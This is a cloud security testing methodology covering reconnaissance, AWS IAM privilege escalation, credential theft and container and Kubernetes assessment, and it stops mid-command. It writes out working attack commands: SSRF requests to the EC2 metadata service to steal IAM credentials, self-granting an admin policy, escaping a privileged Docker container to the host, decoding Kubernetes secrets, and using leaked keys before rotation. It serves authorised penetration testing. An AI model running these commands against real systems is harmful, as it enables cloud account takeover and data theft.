Cloud Security Testing Guide Structured

Cloud Security Testing Guide

Phase 1: Cloud Reconnaissance & External Enumeration

CSEC-RECON - Cloud Asset Discovery and Intelligence Gathering

Objective: This initial phase is about building a complete picture of the target's cloud footprint without touching any live cloud management plane. We identify which cloud providers are in use, discover exposed storage resources, find leaked credentials in public sources, enumerate cloud-hosted services and subdomains, and map the attack surface before performing a single authenticated API call. A thorough cloud reconnaissance phase is critical — every finding here has a direct multiplier effect on the rest of the assessment.

Activity 1.1: Discover Leaked Cloud Credentials in Public Repositories

Sub-heading: CSEC-RECON-01 - Credential Leakage via Code Repositories

Objective: To search public code repositories (GitHub, GitLab, Bitbucket, npm, PyPI) for accidentally committed cloud credentials such as AWS Access Keys, Azure connection strings, GCP service account JSON files, and API tokens. This is the single highest-yield activity in cloud reconnaissance because a single leaked key can grant immediate, privileged access to an entire cloud environment.

Pre-conditions: You have the target organisation's name, domain, GitHub organisation handle, and product names. Internet access to public repositories and code search engines.

Time-Saving Analysis:

- **Finding an AWS Access Key (`AKIA...`):** You have immediate programmatic access to the AWS account with the permissions of the IAM user or role the key belongs to. Proceed directly to IAM enumeration with the found key before the organisation rotates it.
- **Finding a GCP service account JSON key:** You have credentials equivalent to the service account. Run `gcloud auth activate-service-account` immediately and enumerate its permissions.
- **Finding an Azure connection string:** You have direct access to the specified Azure Storage account. Use Azure Storage Explorer to browse and download all containers immediately.
- **Finding a `.env` file committed to a repo:** Treat every value as live until proven otherwise. These files routinely contain database URIs, API keys, JWT secrets, and SMTP credentials.

Method 1: Using TruffleHog (Command-Line) — Recommended First Tool

TruffleHog is purpose-built for finding secrets in Git history, including deleted commits. It uses entropy analysis and regex signatures to detect over 700 types of credentials.

1. Open your terminal.
2. Scan a specific GitHub organisation's repositories:

   Bash

   ```
   trufflehog github --org=<target-org-name> --only-verified
   ```

   - `--org`: The GitHub organisation handle to scan.
   - `--only-verified`: Only report secrets that TruffleHog has verified are still active (live checks against cloud provider APIs). This eliminates false positives.
3. Scan a specific repository:

   Bash

   ```
   trufflehog git https://github.com/<org>/<repo>.git --only-verified
   ```
4. Scan a local clone of a repository:

   Bash

   ```
   trufflehog git file:///path/to/local/repo --only-verified --json
   ```

   - `--json`: Output in JSON format for easy parsing and reporting.

Successful Response (Live Credential Found):

TruffleHog has found and verified a live credential.

Plaintext

```
Found verified result 🐷🔑
Detector Type: AWS
Raw: AKIAIOSFODNN7EXAMPLE
Extra Data:
  account: 123456789012
  arn: arn:aws:iam::123456789012:user/developer-ci
  user_id: AIDAIOSFODNN7EXAMPLE
  message: The security token included in the request is valid.

Detector Type: GCP Service Account
Raw: {"type":"service_account","project_id":"prod-project-id",...}
Extra Data:
  project: prod-project-id
  email: ci-deployer@prod-project-id.iam.gserviceaccount.com
```

This output tells you the AWS account ID, the exact IAM user, and whether the key is still active — all critical for prioritising your next steps.

Unsuccessful Response (No Live Credentials Found):

TruffleHog completes the scan and reports no verified credentials, or only unverified (potentially rotated) findings. This means either credentials were never committed, or they were rotated before the scan.

Method 2: Using GitLeaks (Command-Line) — Best for Local Repo Scanning

GitLeaks is extremely fast and scans the entire git history including all branches.

1. Open your terminal.
2. Scan a local repository:

   Bash

   ```
   gitleaks detect --source /path/to/repo --report-format json --report-path gitleaks-report.json -v
   ```

   - `--source`: Path to the local git repository.
   - `--report-format json`: Output in JSON format.
   - `--report-path`: Save report to this file.
   - `-v`: Verbose output.
3. Scan directly from a remote URL (clones and scans):

   Bash

   ```
   gitleaks detect --source https://github.com/<org>/<repo> --report-format json --report-path gitleaks-report.json
   ```
4. Scan a specific branch only:

   Bash

   ```
   gitleaks detect --source /path/to/repo --log-opts="main..HEAD"
   ```

Successful Response (Secret Found):

JSON


```
{
  "RuleID": "aws-access-token",
  "Description": "AWS Access Token",
  "StartLine": 14,
  "EndLine": 14,
  "Match": "AKIAIOSFODNN7EXAMPLE",
  "Secret": "AKIAIOSFODNN7EXAMPLE",
  "File": ".env",
  "Commit": "a3f9b2c1",
  "Message": "Add CI/CD deployment config",
```

```
  "Date": "2024-03-15T09:23:11Z",
  "Author": "dev@target.com"
}
```

Method 3: GitHub Advanced Search (Manual — Fastest Initial Check)

Use GitHub's advanced search directly in the browser for a rapid first-pass before running automated tools. Navigate to `https://github.com/search` and use these dorks:

Bash

```
# Find AWS keys committed to repositories belonging to the target org
org:<target-org> AKIA

# Find hardcoded AWS secret keys
org:<target-org> "aws_secret_access_key"

# Find GCP service account files
org:<target-org> "type": "service_account"

# Find Azure connection strings
org:<target-org> "DefaultEndpointsProtocol=https"

# Find .env files with secrets
org:<target-org> filename:.env AWS_SECRET_ACCESS_KEY

# Find private key files accidentally committed
org:<target-org> filename:id_rsa

# Find hardcoded passwords in any file
org:<target-org> "password" filename:.env
```

Unsuccessful Response (No Results):

The searches return no relevant results. This means the organisation either has no public repositories, enforces secret scanning policies, or all commits have been cleaned. Proceed to Method 1 with TruffleHog to check git history of any repos you do find.

Activity 1.2: Enumerate Cloud Storage Buckets (S3, Azure Blob, GCS)

Sub-heading: CSEC-RECON-02 - Unauthenticated Cloud Storage Discovery

Objective: To discover publicly accessible cloud storage resources by enumerating bucket/container names using wordlists derived from the target's company name, products, and known subdomains. A publicly readable bucket can expose terabytes of sensitive data with zero authentication required.

Pre-conditions: You have the target organisation's name, common product names, and domain names. Access to the AWS CLI, and optionally s3scanner and GCPBucketBrute.

Time-Saving Analysis:

- **If a bucket lists its contents (200 response to `aws s3 ls`):** Do not stop at listing. Check for database backups (`.sql`, `.dump`), configuration files (`.env`, `config.yaml`), source code archives (`.zip`, `.tar.gz`), and credential files (`credentials.csv`, `keys.json`). These are the highest-value items.
- **If you can write to the bucket (`aws s3 cp` succeeds):** This is a Critical finding. You can perform a supply chain attack by replacing legitimate files with malicious ones, or conduct a phishing attack by uploading content to the trusted domain.

Method 1: Using S3Scanner (Command-Line) — Bulk AWS Bucket Discovery

S3Scanner checks large lists of bucket names for public access quickly and concurrently.

1. Create a wordlist of target-specific bucket names:

   Bash

```
cat > buckets.txt << 'EOF'
targetcompany
targetcompany-backup
targetcompany-dev
targetcompany-staging
targetcompany-prod
targetcompany-assets
targetcompany-media
targetcompany-data
targetcompany-logs
targetcompany-config
targetcompany-infra
targetcompany-internal
targetcompany-private
targetcompany-files
targetcompany-uploads
targetcompany-images
targetcompany-static
targetcompany-release
targetcompany-archive
targetcompany-db-backup
target-company
target.company
EOF
```

2. Scan a single bucket:

   Bash

   ```
   s3scanner scan --bucket targetcompany
   ```

3. Scan all buckets in a file:

   Bash

   ```
   s3scanner scan --bucket-file buckets.txt
   ```

4. Enumerate bucket contents when access is found:

   Bash

   ```
   s3scanner scan --bucket-file buckets.txt --enumerate
   ```

   - `--enumerate`: If a readable bucket is found, list its contents.

5. Increase throughput with multiple threads:

   Bash

   ```
   s3scanner scan --bucket-file buckets.txt --threads 40
   ```

Successful Response (Publicly Accessible Bucket Found):

Plaintext

```
s3scanner v3.0.0
[found] targetcompany-backup exists, but is not accessible (403 Forbidden)
[found] targetcompany-dev exists and is LISTABLE
  2024-01-15 14:32:11       1024 .env
  2024-01-15 14:32:11     204800 database_backup_2024.sql.gz
  2024-01-15 14:32:11       5120 config/aws_credentials.csv
  2024-01-15 14:32:11      10240 source/app_v2.zip
[found] targetcompany-prod exists but is not accessible
```

Method 2: Manual AWS CLI Testing (No Authentication Required)

Once you have bucket names, test them directly with the AWS CLI without any credentials.

1. Test if a bucket is publicly listable:

   Bash

   ```
   aws s3 ls s3://targetcompany-dev --no-sign-request
   ```

   - `--no-sign-request`: Sends the request without any AWS credentials. If it works, the bucket is publicly accessible.

2. Download a specific file from a public bucket:

   Bash

```
aws s3 cp s3://targetcompany-dev/.env . --no-sign-request
```

3. Attempt to upload a file (write access test):

   Bash

```
echo "test" > test_pentest.txt
aws s3 cp test_pentest.txt s3://targetcompany-dev/pentest_file.txt --no-sign-request
```

4. Attempt to delete a file (delete access test — CAUTION: only with explicit scope authorisation):

   Bash

```
aws s3 rm s3://targetcompany-dev/some-file.txt --no-sign-request
```

5. Recursively download all publicly accessible bucket contents:

   Bash

```
aws s3 sync s3://targetcompany-dev ./local-bucket-copy --no-sign-request
```

6. Check bucket ACL (Access Control List) if allowed:

   Bash

```
aws s3api get-bucket-acl --bucket targetcompany-dev --no-sign-request
```

Successful Response (Public Bucket Listed):

Plaintext

```
2024-01-15 14:32:11       1024 .env
2024-01-15 14:32:11     204800 database_backup_2024.sql.gz
2024-01-15 14:32:11       5120 config/aws_credentials.csv
```

Unsuccessful Response (Secure Configuration):

Plaintext

```
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
```

All commands correctly fail with Access Denied. This confirms the bucket requires authentication and proper authorisation to access.

Method 3: Azure Blob Container Enumeration

Azure Blob Storage containers follow the pattern: `https://<account>.blob.core.windows.net/<container>`

1. Attempt to list blobs in a container anonymously:

   Bash

```
curl -s "https://targetcompany.blob.core.windows.net/assets?
restype=container&comp=list" \
| python3 -c "import sys; import xml.dom.minidom;
print(xml.dom.minidom.parseString(sys.stdin.read()).toprettyxml())"
```

2. Using Azure CLI to check public access level:

   Bash

```
az storage container show-permission \
  --name assets \
  --account-name targetcompany \
  --auth-mode login
```

3. Download a specific publicly exposed blob:

   Bash

```
curl -O "https://targetcompany.blob.core.windows.net/assets/config.json"
```

Method 4: Google Cloud Storage (GCS) Enumeration

GCS buckets can be accessed via the gsutil tool or standard HTTP.

1. List a GCS bucket without credentials:

   Bash

```
gsutil ls gs://targetcompany-backup
```

2. Download a specific file:

   Bash

```
gsutil cp gs://targetcompany-backup/database.sql .
```

3. Check bucket IAM policy:

   Bash

```
gsutil iam get gs://targetcompany-backup
```

4. Use curl to check anonymous HTTP access:

   Bash

```
curl -s "https://storage.googleapis.com/targetcompany-backup/?
prefix=&delimiter=/"
```

Successful Response (GCS Vulnerable):

If `allUsers` has `storage.objectViewer` or `storage.legacyBucketReader` in the IAM policy, the bucket is publicly readable. The bucket listing will return XML with all file names.

Activity 1.3: Cloud Infrastructure Fingerprinting

Sub-heading: CSEC-RECON-03 - Identify Cloud Provider, Region, and Services in Use

Objective: To passively identify which cloud providers the target uses, which regions their services are hosted in, and which specific services are exposed, using DNS records, HTTP headers, SSL certificate data, and Shodan/Censys searches.

Pre-conditions: You have the target's domain names and IP address ranges.

Time-Saving Analysis:

- **Identifying AWS as the CSP:** Focus your enumeration on IAM, EC2, S3, Lambda, and Cognito.
- **Identifying Azure:** Focus on Azure AD (Entra ID), Blob Storage, App Services, and Key Vault.
- **Identifying GCP:** Focus on GCS, Cloud SQL, Cloud Functions, and GKE.
- **Identifying Kubernetes (from exposed ports 6443, 10250):** Immediately scan for an unauthenticated API server, exposed dashboard, and accessible kubelet API before testing other surfaces.

Method 1: DNS-Based Cloud Provider Identification

Examine DNS records to infer cloud provider, CDN, and services in use.

1. Query for all DNS record types:

   Bash

   ```
   dig ANY target.com
   dig A target.com
   dig CNAME target.com
   dig MX target.com
   dig TXT target.com
   dig NS target.com
   ```

2. Identify cloud provider from DNS patterns:

   Bash

   ```
   # Look for AWS-hosted services
   dig app.target.com | grep -i "amazonaws|cloudfront|elb|awsglobalaccelerator"

   # Look for Azure services
   dig app.target.com | grep -i "azure|windows.net|trafficmanager|azureedge"

   # Look for GCP services
   dig app.target.com | grep -i "googleapis|appspot|cloudfunctions|run.app"
   ```

3. Check SPF records for hosted email services:

Bash

```
dig TXT target.com | grep "v=spf1"
# Look for: include:amazonses.com (AWS SES), include:sendgrid.net, etc.
```

Method 2: Using Shodan (OSINT)

Shodan indexes internet-connected devices including cloud management interfaces.

1. Search for the target's cloud services on Shodan:

   Bash

```
# Install shodan CLI
pip install shodan --break-system-packages
shodan init <your-api-key>

# Search for Kubernetes API servers belonging to target org's IP range
shodan search "org:\"Target Company Name\" port:6443"

# Search for exposed Docker APIs
shodan search "org:\"Target Company Name\" port:2375"

# Search for exposed Elasticsearch instances
shodan search "org:\"Target Company Name\" port:9200 elastic"

# Search for exposed Kubernetes dashboards
shodan search "org:\"Target Company Name\" \"Kubernetes Dashboard\""

# Search by IP range (get range from whois)
shodan search "net:203.0.113.0/24"
```

Method 3: HTTP Header Analysis for Cloud Service Identification

Cloud services leave distinctive fingerprints in HTTP response headers.

1. Fetch and analyse headers:

   Bash

```
curl -sI https://target.com | grep -iE "server|x-powered-by|x-amz|x-azure|x-goog|via|cf-ray|x-cache|x-served-by"
```

2. Common cloud fingerprint headers:

   Plaintext

```
# AWS CloudFront CDN
x-amz-cf-id: <value>
x-cache: Miss from cloudfront
```

```
# AWS API Gateway
x-amzn-requestid: <value>
x-amzn-trace-id: <value>

# Azure App Service
x-azure-ref: <value>
x-ms-request-id: <value>

# Google Cloud / Firebase
x-goog-generation: <value>
x-firebase-locale: <value>

# Cloudflare (often fronting AWS/Azure)
cf-ray: <value>
cf-cache-status: HIT
```

Unsuccessful Response (Hardened):

All headers are generic, stripped, or behind a WAF. Server header is absent or set to a custom value. This indicates a more mature security posture but does not mean no cloud is in use.

Activity 1.4: Subdomain Enumeration for Cloud-Hosted Services

Sub-heading: CSEC-RECON-04 - Discover Cloud-Hosted Subdomains and Dangling DNS

Objective: To enumerate all subdomains belonging to the target, identify which are hosted on cloud services, and check for subdomain takeover vulnerabilities where a DNS CNAME record points to a cloud resource that no longer exists and can be claimed by an attacker.

Pre-conditions: You have the target's primary domain(s).

Time-Saving Analysis:

- **Finding a CNAME to `s3.amazonaws.com` with a `NoSuchBucket` response:** This is a takeover candidate. Create a bucket with the exact name to claim the subdomain.
- **Finding a CNAME to `azurewebsites.net` with a "404 Web App - Page not found":** This is a takeover candidate. Create an Azure Web App with the matching name.
- **Finding a CNAME to `github.io` with "There isn't a GitHub Pages site here":** Create a GitHub Pages site to claim it.

Method 1: Using subfinder (Command-Line) — Passive Enumeration

`subfinder` uses passive sources to find subdomains without alerting the target.

1. Open your terminal.
2. Enumerate subdomains passively:

   Bash

   ```
   subfinder -d target.com -o subdomains.txt -v
   ```

   - `-d`: Target domain.
   - `-o`: Output file.
   - `-v`: Verbose mode.
3. Use multiple sources for maximum coverage:

   Bash

   ```
   subfinder -d target.com -all -o subdomains.txt
   ```

Method 2: Using amass (Command-Line) — Active + Passive Enumeration

`amass` performs more aggressive enumeration including DNS brute-forcing and crawling.

1. Passive enumeration only (recommended first):

   Bash

   ```
   amass enum -passive -d target.com -o amass_subdomains.txt
   ```
2. Active enumeration with brute-force:

   Bash

   ```
   amass enum -active -d target.com -brute -w
   /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o
   amass_active.txt
   ```
3. Check for cloud provider associations:

   Bash

   ```
   amass intel -org "Target Company Name" -o org_ranges.txt
   ```

Method 3: Check for Subdomain Takeover

After enumeration, check each subdomain for dangling CNAME records.

1. Check CNAME records for each subdomain:

   Bash

   ```
   while read subdomain; do
     cname=$(dig CNAME "$subdomain" +short)
     if [ ! -z "$cname" ]; then
       echo "$subdomain -> $cname"
   ```

```
  fi
done < subdomains.txt
```

2. Automated takeover detection with nuclei:

   Bash

   ```
   nuclei -l subdomains.txt -t dns/subdomain-takeover/ -c 50 -o
   takeover_results.txt
   ```

3. Test a specific suspect subdomain manually:

   Bash

   ```
   dig CNAME cdn.target.com
   # Output: cdn.target.com. 300 IN CNAME targetcompany.s3.amazonaws.com.

   # Visit the URL to check for a claimable error message
   curl -s https://cdn.target.com | grep -i "NoSuchBucket|no such app|GitHub
   Pages|Heroku"
   ```

Successful Response (Takeover Vulnerability Found):

Plaintext

```
# nuclei output
[subdomain-takeover] [dns] [high] cdn.target.com [aws-s3-bucket-takeover]

# curl output from the subdomain
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not
exist</Message> <BucketName>targetcompany-cdn</BucketName></Error>
```

Unsuccessful Response (All Subdomains Resolving Correctly):

nuclei completes with no takeover findings. All subdomains resolve to live, configured services. No dangling CNAME records are found.

Activity 1.5: Certificate Transparency Log Mining

Sub-heading: CSEC-RECON-05 - Certificate Transparency for Cloud Asset Discovery

Objective: To query public Certificate Transparency (CT) logs to discover all SSL/TLS certificates ever issued for the target domain, revealing subdomains, internal hostnames, and cloud-hosted services that may not be listed in public DNS records.

Pre-conditions: You have the target's primary domain(s).

Method: Using crt.sh and curl

Certificate Transparency logs are public and searchable via crt.sh.

1. Search for all certificates issued to the target domain:

   Bash

   ```
   curl -s "https://crt.sh/?q=%.target.com&output=json" | \
   python3 -c "import json,sys; certs=json.load(sys.stdin); \
   [print(c.get('name_value','')) for c in certs]" | \
   sort -u | grep -v "^*" > ct_subdomains.txt
   ```

2. Filter for cloud-specific hostnames:

   Bash

   ```
   cat ct_subdomains.txt | grep -iE
   "dev|staging|api|internal|admin|backup|s3|blob|storage|gcs|cdn|media|assets"
   ```

3. Check each found hostname for cloud service headers:

   Bash

   ```
   while read hostname; do
     echo "=== $hostname ==="
     curl -sI "https://$hostname" 2>/dev/null | grep -iE "server|x-amz|x-azure|x-
   goog|cf-ray" | head -5
   done < ct_subdomains.txt
   ```

Successful Response (Cloud-Hosted Internal Service Found):

A CT log search reveals internal hostnames that the organisation may not have intended to be public:

`api-internal.target.com`

`dev.target.com`

`staging-v2.target.com`

`admin.target.com`

`s3-backup.target.com`

These are now primary targets for further cloud-specific testing.

Phase 2: Cloud Identity & Access Management (IAM) Testing

CSEC-IAM - IAM Enumeration, Misconfiguration, and Privilege Escalation

Objective: After gaining initial authenticated access, this phase systematically enumerates all IAM entities, policies, and trust relationships to identify privilege escalation paths from lower-privileged

principals to administrative access, as well as misconfigured roles and policies.

Activity 2.1: AWS IAM Enumeration

Sub-heading: CSEC-IAM-01 - Enumerate AWS IAM Users, Roles, Groups, and Policies

Objective: To map the complete IAM landscape of the target AWS account, identifying all principals, permissions, and escalation paths.

Pre-conditions: You have a set of AWS credentials configured in your environment or in `~/.aws/credentials`.

Time-Saving Analysis:

- **If the current caller has `iam:*` permissions:** You have full IAM control. You can immediately create a new admin user.
- **If the current role has `sts:AssumeRole` on `*`:** You can assume any role in the account. Run PMapper immediately.
- **If the current caller has `IAMFullAccess`:** Equivalent to admin.

Method 1: Identify the Current Caller Identity

1. Get the current caller's identity:

   Bash

   ```
   aws sts get-caller-identity
   ```

   Example output:

   JSON

   ```
   {
     "UserId": "AIDAIOSFODNN7EXAMPLE",
     "Account": "123456789012",
     "Arn": "arn:aws:iam::123456789012:user/developer-ci"
   }
   ```

2. Set the account ID as a variable:

   Bash

   ```
   ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
   echo "Target Account ID: $ACCOUNT_ID"
   ```

Method 2: Enumerate IAM Users, Groups, and Roles

1. List all IAM users:

   Bash

```
aws iam list-users --output table
```

2. List all IAM groups:

   Bash

   ```
   aws iam list-groups --output table
   ```

3. List all IAM roles:

   Bash

   ```
   aws iam list-roles --output table
   ```

4. List all IAM policies:

   Bash

   ```
   # Customer-managed policies only
   aws iam list-policies --scope Local --output table

   # All policies including AWS-managed
   aws iam list-policies --output table
   ```

5. Get users in a specific group:

   Bash

   ```
   aws iam get-group --group-name <group-name>
   ```

6. Get all policies attached to a specific user:

   Bash

   ```
   aws iam list-attached-user-policies --user-name <username>
   aws iam list-user-policies --user-name <username>
   ```

7. Get all policies attached to a specific role:

   Bash

   ```
   aws iam list-attached-role-policies --role-name <role-name>
   aws iam list-role-policies --role-name <role-name>
   ```

8. Get the document (JSON) of a specific policy:

   Bash

   ```
   # Get policy ARN first
   aws iam list-policies --query "Policies[?PolicyName=='<policy-name>'].Arn" --
   output text

   # Then get the policy version document
   aws iam get-policy-version --policy-arn
   arn:aws:iam::123456789012:policy/<policy-name> --version-id v1
   ```

9. Get the trust policy for a specific role:

   Bash

   ```
   aws iam get-role --role-name <role-name> --query "Role.AssumeRolePolicyDocument"
   --output json
   ```

10. Check if specific permissions are allowed:

    Bash

    ```
    aws iam simulate-principal-policy \
      --policy-source-arn arn:aws:iam::123456789012:user/developer-ci \
      --action-names s3:GetObject iam:CreateUser sts:AssumeRole \
      --output table
    ```

Method 3: Using PMapper for Privilege Escalation Graph Analysis

PMapper creates a directed graph of all IAM principals and identifies privilege escalation paths.

1. Install PMapper:

   Bash

   ```
   pip install principalmapper --break-system-packages
   ```

2. Create a graph of the entire IAM configuration:

   Bash

   ```
   pmapper graph create
   ```

3. Analyse the graph for escalation paths:

   Bash

   ```
   pmapper analysis --output-type text
   ```

4. Find paths to administrative access:

   Bash

   ```
   pmapper query "who can become an admin"
   ```

5. Find resources a specific user can access:

   Bash

   ```
   pmapper query "preset privesc --principal
   arn:aws:iam::123456789012:user/developer-ci"
   ```

6. Visualise the graph:

   Bash

   ```
   pmapper visualize --filetype png
   ```

Successful Response (Privilege Escalation Path Found):

Plaintext

```
Edge: arn:aws:iam::123456789012:user/developer-ci ->
arn:aws:iam::123456789012:role/EC2-Admin
Reason: Can call sts:AssumeRole with the EC2-Admin role (via PassRole -> EC2 ->
SSM)
Path to admin: developer-ci -> EC2-Admin -> AdministratorRole (via
iam:CreatePolicyVersion)
```

Method 4: Enumerate Access Keys and Last Used Information

1. List all access keys for a specific user:

   Bash

   ```
   aws iam list-access-keys --user-name <username>
   ```

2. Check when an access key was last used:

   Bash

   ```
   aws iam get-access-key-last-used --access-key-id <ACCESS-KEY-ID>
   ```

3. List all users and their access key ages:

   Bash

   ```
   for user in $(aws iam list-users --query "Users[].UserName" --output text); do
     echo "User: $user"
     aws iam list-access-keys --user-name "$user" \
       --query "AccessKeyMetadata[].
   {KeyID:AccessKeyId,Status:Status,Created:CreateDate}" \
       --output table
   done
   ```

Successful Response (Old, Unused Key Found):

JSON

```
{
  "UserName": "developer-ci",
  "AccessKeyLastUsed": {
    "LastUsedDate": "2023-01-15T10:30:00+00:00",
    "ServiceName": "s3",
    "Region": "us-east-1"
  }
}
```

Activity 2.2: AWS IAM Privilege Escalation Techniques

Sub-heading: CSEC-IAM-02 - Exploit IAM Misconfigurations for Privilege Escalation

Objective: To systematically attempt all known IAM privilege escalation techniques.

Method 1: Create a New Policy Version (Stealthiest Escalation)

1. Identify which policy is attached to your user:

   Bash

```
aws iam list-attached-user-policies --user-name <your-username>
```

2. Create a new version of that policy:

   Bash

```
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document '{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }' \
  --set-as-default
```

3. Verify the escalation succeeded:

   Bash

```
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/<your-username> \
  --action-names iam:CreateUser \
  --output text
```

Method 2: Create an Inline Policy for User/Group/Role

1. Add an inline admin policy directly to your own user:

   Bash

```
aws iam put-user-policy \
  --user-name <your-username> \
  --policy-name AdminEscalation \
  --policy-document '{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }'
```

Method 3: Add Self to a Privileged Group

1. List all groups and their attached policies:

   Bash

```
for group in $(aws iam list-groups --query "Groups[].GroupName" --output text); do
```

```
  echo "Group: $group"
  aws iam list-attached-group-policies --group-name "$group" --query
"AttachedPolicies[].PolicyName" --output text
done
```

2. Add yourself to the administrators group:

   Bash

```
aws iam add-user-to-group --user-name <your-username> --group-name
Administrators
```

Method 4: Assume a Privileged Role (sts:AssumeRole)

1. Assume the target role:

   Bash

```
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/AdminRole \
  --role-session-name pentest-session \
  --duration-seconds 3600
```

2. Export the temporary credentials:

   Bash

```
export AWS_ACCESS_KEY_ID="ASIAxxx"
export AWS_SECRET_ACCESS_KEY="xxxyyy"
export AWS_SESSION_TOKEN="FQoGZXIvYXdzEJL..."
```

Activity 2.3: AWS IAM Credential Compromise Methods

Sub-heading: CSEC-IAM-03 - Techniques for Obtaining AWS IAM Credentials

Objective: To test all known methods by which IAM credentials can be obtained from a compromised cloud environment.

Method 1: SSRF Attack Against EC2 Instance Metadata Service (IMDS)

1. Test basic SSRF connectivity to the metadata service:

   Bash

```
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
```

2. Retrieve the name of the IAM role attached to the instance:

   Bash

```
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/"
```

3. Retrieve the temporary IAM credentials for that role:

   Bash

```
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-ProductionRole"
```

4. Use the stolen credentials to authenticate from your own machine:

   Bash

```
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FQoGZXIvYXdzEJL..."
aws sts get-caller-identity
```

Method 2: Test IMDSv2 Enforcement (Critical Check)

1. Attempt to retrieve metadata without a session token (IMDSv1 style):

   Bash

```
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
```

2. Check whether the instance requires IMDSv2:

   Bash

```
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

Method 3: Retrieve Credentials from Lambda Environment Variables

1. Get the configuration including environment variables of a specific function:

   Bash

```
aws lambda get-function-configuration \
  --function-name <function-name> \
  --query "Environment.Variables"
```

2. List all environment variables across all Lambda functions:

   Bash

```
for fn in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
  echo "=== Function: $fn ==="
  aws lambda get-function-configuration --function-name "$fn" --query
```

```
"Environment.Variables" --output json 2>/dev/null
done
```

Phase 3: Cloud Compute & Network Security Testing

CSEC-COMPUTE - EC2, Container, Kubernetes, and Serverless Security Assessment

Objective: Assesses the security configuration of running instances, containers, and serverless functions.

Activity 3.1: EC2 Instance Security Assessment

Sub-heading: CSEC-COMPUTE-01 - Enumerate and Assess EC2 Instance Security Posture

Method 1: Enumerate All EC2 Instances and Their Configurations

1. List all running EC2 instances with key details:

   Bash

```
aws ec2 describe-instances \
  --query "Reservations[].Instances[].{ ID:InstanceId, Type:InstanceType,
State:State.Name, PublicIP:PublicIpAddress, PrivateIP:PrivateIpAddress,
IAMRole:IamInstanceProfile.Arn, KeyPair:KeyName, SubnetId:SubnetId, VPCID:VpcId,
SecurityGroups:SecurityGroups[*].GroupId }" \
  --output table
```

2. Check public EBS snapshots:

   Bash

```
# List your own snapshots
aws ec2 describe-snapshots --owner-ids self --output table

# Check if any snapshot has public permissions
for snap_id in $(aws ec2 describe-snapshots --owner-ids self --query
"Snapshots[].SnapshotId" --output text); do
  perms=$(aws ec2 describe-snapshot-attribute --snapshot-id "$snap_id" --
attribute createVolumePermission --query "CreateVolumePermissions[?
Group=='all'].Group" --output text)
  if [ ! -z "$perms" ]; then
    echo "CRITICAL: Snapshot $snap_id is PUBLICLY accessible!"
  fi
done
```

Activity 3.2: Container Security Assessment (Docker)

Sub-heading: CSEC-COMPUTE-02 - Test Docker Runtime Security

Method 1: Exploit an Unauthenticated Docker API

1. Verify remote Docker API access:

   Bash

   ```
   curl -s http://<target-ip>:2375/info | python3 -m json.tool | head -30
   ```

2. List all running containers on the target Docker host:

   Bash

   ```
   docker -H tcp://<target-ip>:2375 ps -a
   ```

3. Execute a command inside a running container to read environment variables:

   Bash

   ```
   docker -H tcp://<target-ip>:2375 exec -i <container-name> env
   ```

4. Escape to the host OS via a privileged container:

   Bash

   ```
   docker -H tcp://<target-ip>:2375 run -it --privileged --pid=host -v /:/host
   ubuntu:latest /bin/bash -c "chroot /host bash"
   ```

Method 2: Assess Container Security from Inside a Container

1. Check if you are running as root inside the container:

   Bash

   ```
   whoami
   id
   ```

2. Check if the container is running in privileged mode:

   Bash

   ```
   cat /proc/self/status | grep CapEff
   ```

3. Check for the Docker socket mounted inside the container:

   Bash

   ```
   ls -la /var/run/docker.sock
   ```

Activity 3.3: Kubernetes Cluster Security Assessment

Sub-heading: CSEC-COMPUTE-03 - Enumerate and Test Kubernetes Cluster Security

Method 1: Establish Cluster Access and Initial Enumeration

1. Test for unauthenticated API server access:

   Bash

```
curl -k https://<kubernetes-api-ip>:6443/api/v1/namespaces
```

2. List all pods across all namespaces:

   Bash

```
kubectl get pods --all-namespaces -o wide
```

Method 2: Read and Decode Kubernetes Secrets

1. Read a specific secret:

   Bash

```
kubectl get secret <secret-name> -n <namespace> -o json
```

2. Decode a base64-encoded secret value:

   Bash

```
kubectl get secret db-credentials -n production -o jsonpath='{.data.password}' | base64 --decode
```

Method 4: Use kube-hunter for Automated Kubernetes Penetration Testing

1. Run kube-hunter remotely against an exposed cluster:

   Bash

```
kube-hunter --remote <kubernetes-api-ip>
```

Phase 4: Cloud Storage Security Testing

CSEC-STOR - Cloud Storage Assessment (AWS S3, Azure Blob, GCS)

Objective: Tests authenticated access controls, server-side encryption, access logging, bucket policy misconfigurations, cross-account access, and the ability to exfiltrate data.

Activity 4.1: Comprehensive AWS S3 Security Assessment

Sub-heading: CSEC-STOR-01 - Test AWS S3 Bucket Configuration and Access Controls

Method 1: Account-Level S3 Security Enumeration

1. Check the account-level Block Public Access settings:

   Bash

```
aws s3control get-public-access-block --account-id <account-id>
```

Method 2: Per-Bucket Deep Security Testing

1. Get the bucket policy and check for `*` (wildcard) principals:

   Bash

```
aws s3api get-bucket-policy --bucket <bucket-name> --query Policy --output text
| python3 -m json.tool
```

2. Check server-side encryption configuration:

   Bash

```
aws s3api get-bucket-encryption --bucket <bucket-name>
```

Method 3: Detect Public-Access Misconfigurations at Scale with Prowler

1. Run all S3 security checks:

   Bash

```
